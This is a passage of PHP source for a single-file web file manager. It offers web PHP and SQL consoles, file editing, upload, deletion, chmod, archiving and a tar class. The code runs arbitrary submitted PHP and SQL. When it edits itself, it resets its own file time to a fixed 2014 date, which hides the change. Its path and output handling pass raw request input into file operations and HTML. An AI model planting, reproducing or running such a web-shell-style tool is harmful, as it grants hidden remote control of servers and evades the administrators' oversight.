'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
